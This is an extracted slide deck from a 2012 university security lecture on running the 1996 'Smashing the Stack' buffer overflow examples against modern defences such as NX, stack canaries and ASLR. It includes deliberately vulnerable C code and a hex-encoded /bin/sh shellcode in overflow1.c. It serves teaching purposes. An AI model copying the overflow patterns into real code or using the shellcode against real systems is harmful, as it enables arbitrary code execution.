

CS 6V81-05

Smashing the Stack in 2011

Andrew Folloder

Department of Computer Science
University of Texas at Dallas

January 25th, 2012

Outline

1 Overview

2 Hurdles

- Minor Changes
- eXecute Disable Bit (Data Execution Prevention)
- Stack Protection
- ProPolice, NX, and overflow1.c
- Address Space Layout Randomization

3 Conclusion

1 Overview

2 Hurdles

- Minor Changes
- eXecute Disable Bit (Data Execution Prevention)
- Stack Protection
- ProPolice, NX, and overflow1.c
- Address Space Layout Randomization

3 Conclusion

Overview

Smashing The Stack For Fun And Profit (1996)

- First tutorial on stack buffer overflow
- Outdated after 15 years of exploit research defense

Overview

Smashing The Stack For Fun And Profit (1996)

- First tutorial on stack buffer overflow
- Outdated after 15 years of exploit research defense

How to run tutorial examples on modern computer?

- Talk about:
 - *intentional* hurdles on today's computers
 - a few unintentional
 - how to get around these issues

1 Overview

2 Hurdles

- Minor Changes
- eXecute Disable Bit (Data Execution Prevention)
- Stack Protection
- ProPolice, NX, and overflow1.c
- Address Space Layout Randomization

3 Conclusion

1 Overview

2 Hurdles

- **Minor Changes**

- eXecute Disable Bit (Data Execution Prevention)
- Stack Protection
- ProPolice, NX, and overflow1.c
- Address Space Layout Randomization

3 Conclusion

Minor Changes

Dynamic Buffers

- Dynamic Buffer no longer only refers to the stack
- Much work has been done on heap-based dynamic buffers

Minor Changes

Dynamic Buffers

- Dynamic Buffer no longer only refers to the stack
- Much work has been done on heap-based dynamic buffers
- stack locals → *automatic*
- heap allocations → *dynamic*

Minor Changes

Dynamic Buffers

- Dynamic Buffer no longer only refers to the stack
- Much work has been done on heap-based dynamic buffers
- stack locals → *automatic*
- heap allocations → *dynamic*

EBP Register

- Frame pointer for referencing both local variables and parameters

Minor Changes

Dynamic Buffers

- Dynamic Buffer no longer only refers to the stack
- Much work has been done on heap-based dynamic buffers
- stack locals → *automatic*
- heap allocations → *dynamic*

EBP Register

- Frame pointer for referencing both local variables and parameters
- 64bit OSES do *not* treat EBP as a special purpose register
- EBP may be used as a general purpose register

1 Overview

2 Hurdles

- Minor Changes
- **eXecute Disable Bit (Data Execution Prevention)**
- Stack Protection
- ProPolice, NX, and overflow1.c
- Address Space Layout Randomization

3 Conclusion

NX (DEP)

NX

- Intel feature built into x86 architecture (Pentium4+)

NX (DEP)

NX

- Intel feature built into x86 architecture (Pentium4+)
- Prevents code from executing from within .data segment

NX (DEP)

NX

- Intel feature built into x86 architecture (Pentium4+)
- Prevents code from executing from within .data segment
 - causes a segmentation fault

NX (DEP)

NX

- Intel feature built into x86 architecture (Pentium4+)
- Prevents code from executing from within .data segment
 - causes a segmentation fault
- Like memory page permission bits (read/write/execute)

NX (DEP)

NX

- Intel feature built into x86 architecture (Pentium4+)
- Prevents code from executing from within .data segment
 - causes a segmentation fault
- Like memory page permission bits (read/write/execute)
 - 1996: R/W

NX (DEP)

NX

- Intel feature built into x86 architecture (Pentium4+)
- Prevents code from executing from within .data segment
 - causes a segmentation fault
- Like memory page permission bits (read/write/execute)
 - 1996: R/W
 - Today: R/W/X

1 Overview

2 Hurdles

- Minor Changes
- eXecute Disable Bit (Data Execution Prevention)
- **Stack Protection**
- ProPolice, NX, and overflow1.c
- Address Space Layout Randomization

3 Conclusion

Stack Protection

ProPolice/StackGuard

- gcc mechanism for stack buffer protection

Stack Protection

ProPolice/StackGuard

- gcc mechanism for stack buffer protection
- *canary*: chosen/pseudo-random value

Stack Protection

ProPolice/StackGuard

- gcc mechanism for stack buffer protection
- *canary*: chosen/pseudo-random value
- place a canary within a stack frame between its data and control elements

Stack Protection

ProPolice/StackGuard

- gcc mechanism for stack buffer protection
- *canary*: chosen/pseudo-random value
- place a canary within a stack frame between its data and control elements
- very difficult/impossible to predict canary value

Stack Protection

ProPolice/StackGuard

- gcc mechanism for stack buffer protection
- *canary*: chosen/pseudo-random value
- place a canary within a stack frame between its data and control elements
- very difficult/impossible to predict canary value

```
example2.c
-----
void function(char *str) {
    char buffer[16];

    strcpy(buffer, str);
}

void main() {
    char large_string[256];
    int i;

    for( i = 0; i < 255; i++)
        large_string[i] = 'A';

    function(large_string);
}
-----
```


1 Overview

2 Hurdles

- Minor Changes
- eXecute Disable Bit (Data Execution Prevention)
- Stack Protection
- **ProPolice, NX, and overflow1.c**
- Address Space Layout Randomization

3 Conclusion

ProPolice, NX, and overflow1.c

```
overflow1.c
-----
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

char large_string[128];

void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;

for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;

for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];

strcpy(buffer, large_string);
}
-----
```

ProPolice, NX, and overflow1.c

```
overflow1.c
-----
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

char large_string[128];

void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;

for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;

for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];

strcpy(buffer, large_string);
}
-----
```

- Reason: gcc allocates far more stack space in recent versions than in the past

1 Overview

2 Hurdles

- Minor Changes
- eXecute Disable Bit (Data Execution Prevention)
- Stack Protection
- ProPolice, NX, and overflow1.c
- **Address Space Layout Randomization**

3 Conclusion

ASLR

Address Space Layout Randomization

- Rebases stacks, code segments, DLLs, and more

ASLR

Address Space Layout Randomization

- Rebases stacks, code segments, DLLs, and more

```
sp.c
```

```
-----  
unsigned long get_sp(void) {  
    __asm__("movl %esp,%eax");  
}  
void main() {  
    printf("0x%x\n", get_sp());  
}  
-----
```

1 Overview

2 Hurdles

- Minor Changes
- eXecute Disable Bit (Data Execution Prevention)
- Stack Protection
- ProPolice, NX, and overflow1.c
- Address Space Layout Randomization

3 Conclusion

Conclusion

- A lot of work has been done to prevent buffer overflow exploits making them much harder to perform
- This gives a quick overview on how the original “exploit tutorial” can be performed on a modern computer running Ubuntu